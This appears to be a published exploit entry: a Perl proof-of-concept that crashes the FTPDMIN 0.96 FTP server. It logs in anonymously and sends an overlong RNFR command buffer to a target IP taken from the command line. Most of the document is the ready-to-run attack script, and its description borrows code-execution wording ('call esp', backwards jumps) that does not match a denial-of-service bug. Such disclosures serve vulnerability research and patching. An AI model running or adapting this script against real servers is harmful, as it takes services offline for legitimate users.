FTPDMIN 0.96 Denial Of Service Exploit

#!/usr/bin/perl

use Net::FTP;

# Exploit Title: FTPDMIN 0.96 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 2024-01-01
# Vendor Homepage: https://www.sentex.ca/~mwandel/ftpdmin/
# Download to demo:
https://drive.google.com/file/d/1CpfvaJbJVxR3HPWvcxIVipTaTj7RAaLd/view?usp=sharing
# Notification vendor: Yes reported
# Tested Version: FTPDMIN 0.96
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=q-CVJfYdd-g

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2
and 3 (English).
#For this exploit I have tried several strategies to increase reliability
and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via
FTP command RNFR.
#The following request sends a large amount of data to the FTP server to
process across command RNFR, the server will crash as soon as it is
received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash
the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");

    intro();
    main();

    print "[+] Exploiting... \n";

    my $buf = "\x41"x269;
    my $point = "\x45\x2a\x42\x7b";
    my $buf2 = "\x41"x126;

    my $payload = "RNFR ".$buf . $point . $buf2;

    my $ftp = Net::FTP->new($ip, Debug => 0) or die "Can't connect to
server: $@";

    $ftp->login("anonymous",'anonymous');

    $ftp->quot($payload);

    $ftp->quit;


    print "[+] Done - Exploited success!!!!!\n\n";

   sub intro {
      print "***************************************************\n";
      print "*         FTPDMIN 0.96 - Denied of Service        *\n";
      print "*                                                 *\n";
      print "*            Coded by Fernando Mengali            *\n";
      print "*                                                 *\n";
      print "*      e-mail: fernando.mengalli\@gmail.com       *\n";
      print "*                                                 *\n";
      print "***************************************************\n";
  }

  sub main {

      our ($ip) = @ARGV;

      unless (defined($ip)) {

        print "             \nUsage: $0 <ip>                   \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated